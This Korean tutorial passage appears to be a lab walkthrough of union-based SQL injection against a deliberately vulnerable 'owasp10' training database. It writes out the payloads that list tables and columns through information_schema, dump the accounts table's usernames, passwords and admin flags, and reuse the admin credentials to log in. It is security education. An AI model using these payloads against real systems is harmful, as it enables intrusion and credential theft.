이제 데이터베이스 이름을 확인했으니 해당하는 데이터베이스에서 정보를 추출할 수 있습니다
먼저 내부에 존재하는 테이블을 찾기 위해 데이터베이스에 존재하는 information_schema 테이블을 사용합니다
DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB이고 또한 읽기 전용으로 생성되었기 때문에 수정하거나 관여할 수는 없지만 데이터베이스 내의 모든 테이블을 확인할 수 있습니다
union select 1, table_name, null, null, 5 from information_schema.tables
총 237개의 테이블 이름을 확인할 수 있습니다
사용자가 root 권한으로 열려있기 때문에 다른 데이터베이스 내에 존재하는 테이블 이름 또한 확인할 수 있습니다
하지만 우리가 관심있는 데이터베이스 내의 테이블은 owasp10이므로 조건을 추가합니다
union select 1, table_name, null, null, 5 from information_schema.tables where table_schema = 'owasp10'
owasp10 데이터베이스 내부에 존재하는 7개의 테이블 이름을 확인할 수 있습니다
민감한 데이터를 추출하기 위해서는 테이블에 존재하는 열의 이름을 확인해야 합니다
위의 문장과 크게 다를것은 없지만 열 이름을 확인할 수 있습니다
union select 1, column_name, null, null, 5 from information_schema.columns where table_name='accounts'
위에서 발견한 accounts 테이블의 열 이름을 확인하기 위해 진행합니다
6개의 컬럼을 확인할 수 있으며 순서대로 cid, username, password, mysignature, is_admin 순으로 accounts 테이블에 저장되어 있다는 것을 확인할 수 있습니다
궁금한 것은 username과 password 그리고 is_admin이므로 해당하는 컬럼만 추출해서 확인할 수 있습니다
union select 1,username, password, is_admin, 5 from accounts
accounts 테이블에 존재하는 19개의 데이터를 username, password, is_admin 순으로 추출했습니다
해당하는 데이터를 가지고 실제로 로그인을 해봤습니다
ID: admin
PW : adminpass
admin에 대한 실제 정보를 보여주고 있기 때문에 정상적으로 동작하는 것을 확인할 수 있습니다